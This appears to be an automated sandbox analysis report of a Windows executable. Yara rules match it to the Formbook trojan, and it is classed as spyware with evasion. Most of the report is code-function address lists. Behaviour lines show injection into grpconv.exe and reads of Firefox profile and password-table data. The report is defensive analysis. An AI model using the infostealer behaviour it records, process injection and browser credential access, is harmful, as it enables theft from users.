Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A8158 0_2_018A8158
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B2000 0_2_018B2000
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E03E6 0_2_018E03E6
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182E3F0 0_2_0182E3F0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DA352 0_2_018DA352
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A02C0 0_2_018A02C0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018C0274 0_2_018C0274
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E0591 0_2_018E0591
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820535 0_2_01820535
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018CE4F6 0_2_018CE4F6
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018C4420 0_2_018C4420
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D2446 0_2_018D2446
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181C7C0 0_2_0181C7C0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01844750 0_2_01844750
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820770 0_2_01820770
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0183C6E0 0_2_0183C6E0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018229A0 0_2_018229A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018EA9A6 0_2_018EA9A6
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01836962 0_2_01836962
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018068B8 0_2_018068B8
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0184E8F0 0_2_0184E8F0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01822840 0_2_01822840
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182A840 0_2_0182A840
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D6BD7 0_2_018D6BD7
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DAB40 0_2_018DAB40
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181EA80 0_2_0181EA80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01838DBF 0_2_01838DBF
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181ADE0 0_2_0181ADE0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182AD00 0_2_0182AD00
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BCD1F 0_2_018BCD1F
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018C0CB5 0_2_018C0CB5
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01810CF2 0_2_01810CF2
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820C00 0_2_01820C00
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189EFA0 0_2_0189EFA0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01812FC8 0_2_01812FC8
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182CFE0 0_2_0182CFE0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01862F28 0_2_01862F28
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01840F30 0_2_01840F30
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018C2F30 0_2_018C2F30
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01894F40 0_2_01894F40
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01832E90 0_2_01832E90
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DCE93 0_2_018DCE93
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DEEDB 0_2_018DEEDB
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DEE26 0_2_018DEE26
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01820E59 0_2_01820E59
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182B1B0 0_2_0182B1B0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018EB16B 0_2_018EB16B
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0185516C 0_2_0185516C
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0180F172 0_2_0180F172
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018CF0CC 0_2_018CF0CC
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018270C0 0_2_018270C0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D70E9 0_2_018D70E9
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DF0E0 0_2_018DF0E0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0186739A 0_2_0186739A
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D132D 0_2_018D132D
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0180D34C 0_2_0180D34C
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018252A0 0_2_018252A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0183B2C0 0_2_0183B2C0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018C12ED 0_2_018C12ED
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BD5B0 0_2_018BD5B0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E95C3 0_2_018E95C3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D7571 0_2_018D7571
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DF43F 0_2_018DF43F
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01811460 0_2_01811460
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DF7B0 0_2_018DF7B0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D16CC 0_2_018D16CC
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01865630 0_2_01865630
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B5910 0_2_018B5910
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01829950 0_2_01829950
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0183B950 0_2_0183B950
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018238E0 0_2_018238E0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188D800 0_2_0188D800
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0183FB80 0_2_0183FB80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01895BF0 0_2_01895BF0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0185DBF9 0_2_0185DBF9
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DFB76 0_2_018DFB76
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01865AA0 0_2_01865AA0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BDAAC 0_2_018BDAAC
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018C1AA3 0_2_018C1AA3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018CDAC6 0_2_018CDAC6
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DFA49 0_2_018DFA49
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D7A46 0_2_018D7A46
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01893A6C 0_2_01893A6C
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0183FDC0 0_2_0183FDC0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01823D40 0_2_01823D40
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D1D5A 0_2_018D1D5A
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D7D73 0_2_018D7D73
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DFCF2 0_2_018DFCF2
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01899C32 0_2_01899C32
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01821F92 0_2_01821F92
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DFFB1 0_2_018DFFB1
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018DFF09 0_2_018DFF09
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_017E3FD5 0_2_017E3FD5
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_017E3FD2 0_2_017E3FD2
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01829EB0 0_2_01829EB0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04682446 3_2_04682446
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04674420 3_2_04674420
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0467E4F6 3_2_0467E4F6
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D0535 3_2_045D0535
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04690591 3_2_04690591
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045EC6E0 3_2_045EC6E0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045F4750 3_2_045F4750
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D0770 3_2_045D0770
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045CC7C0 3_2_045CC7C0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04662000 3_2_04662000
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04658158 3_2_04658158
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045C0100 3_2_045C0100
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0466A118 3_2_0466A118
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_046881CC 3_2_046881CC
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_046901AA 3_2_046901AA
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_046841A2 3_2_046841A2
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04670274 3_2_04670274
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_046502C0 3_2_046502C0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468A352 3_2_0468A352
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_046903E6 3_2_046903E6
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045DE3F0 3_2_045DE3F0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D0C00 3_2_045D0C00
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045C0CF2 3_2_045C0CF2
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04670CB5 3_2_04670CB5
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045DAD00 3_2_045DAD00
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0466CD1F 3_2_0466CD1F
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045CADE0 3_2_045CADE0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045E8DBF 3_2_045E8DBF
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D0E59 3_2_045D0E59
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468EE26 3_2_0468EE26
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468EEDB 3_2_0468EEDB
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045E2E90 3_2_045E2E90
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468CE93 3_2_0468CE93
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04644F40 3_2_04644F40
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04612F28 3_2_04612F28
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04672F30 3_2_04672F30
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045F0F30 3_2_045F0F30
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045C2FC8 3_2_045C2FC8
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045DCFE0 3_2_045DCFE0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0464EFA0 3_2_0464EFA0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045DA840 3_2_045DA840
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D2840 3_2_045D2840
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045FE8F0 3_2_045FE8F0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045B68B8 3_2_045B68B8
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045E6962 3_2_045E6962
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0469A9A6 3_2_0469A9A6
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D29A0 3_2_045D29A0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045CEA80 3_2_045CEA80
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468AB40 3_2_0468AB40
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04686BD7 3_2_04686BD7
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045C1460 3_2_045C1460
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468F43F 3_2_0468F43F
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04687571 3_2_04687571
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_046995C3 3_2_046995C3
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0466D5B0 3_2_0466D5B0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04615630 3_2_04615630
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_046816CC 3_2_046816CC
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468F7B0 3_2_0468F7B0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_046870E9 3_2_046870E9
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468F0E0 3_2_0468F0E0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D70C0 3_2_045D70C0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0467F0CC 3_2_0467F0CC
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0469B16B 3_2_0469B16B
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0460516C 3_2_0460516C
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045BF172 3_2_045BF172
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045DB1B0 3_2_045DB1B0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_046712ED 3_2_046712ED
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045EB2C0 3_2_045EB2C0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D52A0 3_2_045D52A0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045BD34C 3_2_045BD34C
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468132D 3_2_0468132D
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0461739A 3_2_0461739A
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04649C32 3_2_04649C32
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468FCF2 3_2_0468FCF2
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04687D73 3_2_04687D73
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D3D40 3_2_045D3D40
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04681D5A 3_2_04681D5A
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045EFDC0 3_2_045EFDC0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D9EB0 3_2_045D9EB0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468FF09 3_2_0468FF09
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04593FD2 3_2_04593FD2
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04593FD5 3_2_04593FD5
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D1F92 3_2_045D1F92
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468FFB1 3_2_0468FFB1
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0463D800 3_2_0463D800
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D38E0 3_2_045D38E0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045D9950 3_2_045D9950
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045EB950 3_2_045EB950
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04665910 3_2_04665910
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04643A6C 3_2_04643A6C
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468FA49 3_2_0468FA49
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04687A46 3_2_04687A46
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0467DAC6 3_2_0467DAC6
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04615AA0 3_2_04615AA0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04671AA3 3_2_04671AA3
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0466DAAC 3_2_0466DAAC
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0468FB76 3_2_0468FB76
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04645BF0 3_2_04645BF0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0460DBF9 3_2_0460DBF9
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045EFB80 3_2_045EFB80
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_006318D0 3_2_006318D0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0062C807 3_2_0062C807
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0062C810 3_2_0062C810
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0062CA30 3_2_0062CA30
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0062AAB0 3_2_0062AAB0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00634F80 3_2_00634F80
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00633160 3_2_00633160
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0064B570 3_2_0064B570
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04433559 3_2_04433559
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0442E6EF 3_2_0442E6EF
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0442D758 3_2_0442D758
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0442E235 3_2_0442E235
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0442E353 3_2_0442E353
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0442CA03 3_2_0442CA03
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\grpconv.exe Code function: String function: 04605130 appears 58 times
Source: C:\Windows\SysWOW64\grpconv.exe Code function: String function: 0464F290 appears 105 times
Source: C:\Windows\SysWOW64\grpconv.exe Code function: String function: 04617E54 appears 111 times
Source: C:\Windows\SysWOW64\grpconv.exe Code function: String function: 045BB970 appears 280 times
Source: C:\Windows\SysWOW64\grpconv.exe Code function: String function: 0463EA12 appears 86 times
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: String function: 0180B970 appears 280 times
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: String function: 01855130 appears 58 times
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: String function: 0189F290 appears 105 times
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: String function: 01867E54 appears 111 times
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: String function: 0188EA12 appears 86 times
PE file does not import any functions
Source: lByv6mqTCJ.exe Static PE information: No import functions for PE file found
Sample file is different than original file name gathered from version info
Source: lByv6mqTCJ.exe, 00000000.00000002.2132478501.000000000190D000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs lByv6mqTCJ.exe
Source: lByv6mqTCJ.exe, 00000000.00000003.2028568483.000000000175E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs lByv6mqTCJ.exe
Source: lByv6mqTCJ.exe, 00000000.00000003.2026593857.00000000015AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs lByv6mqTCJ.exe
Source: lByv6mqTCJ.exe, 00000000.00000003.2097880175.000000000139D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameGRPCONV.EXEj% vs lByv6mqTCJ.exe
Source: lByv6mqTCJ.exe, 00000000.00000003.2131424199.00000000013B0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameGRPCONV.EXEj% vs lByv6mqTCJ.exe
Source: lByv6mqTCJ.exe, 00000000.00000003.2097880175.00000000013B0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameGRPCONV.EXEj% vs lByv6mqTCJ.exe
Uses 32bit PE files
Source: lByv6mqTCJ.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 0.2.lByv6mqTCJ.exe.410000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.3876568128.0000000004330000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000000.00000002.2131471529.0000000000411000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.3876436404.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000000.00000002.2132420078.0000000001750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.3875595230.0000000000620000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.3876687207.0000000005530000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000000.00000002.2134057488.0000000004430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: lByv6mqTCJ.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: lByv6mqTCJ.exe Static PE information: Section .text
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@5/1@11/8
Source: C:\Windows\SysWOW64\grpconv.exe File created: C:\Users\user\AppData\Local\Temp\13612MI5K Jump to behavior
Source: lByv6mqTCJ.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Program Files\Mozilla Firefox\firefox.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: grpconv.exe, 00000003.00000002.3875818549.00000000028CD000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000003.00000002.3875818549.00000000028B8000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000003.00000002.3875818549.00000000028D0000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000003.00000003.2362477743.00000000028B8000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000003.00000003.2362477743.00000000028D0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: lByv6mqTCJ.exe ReversingLabs: Detection: 76%
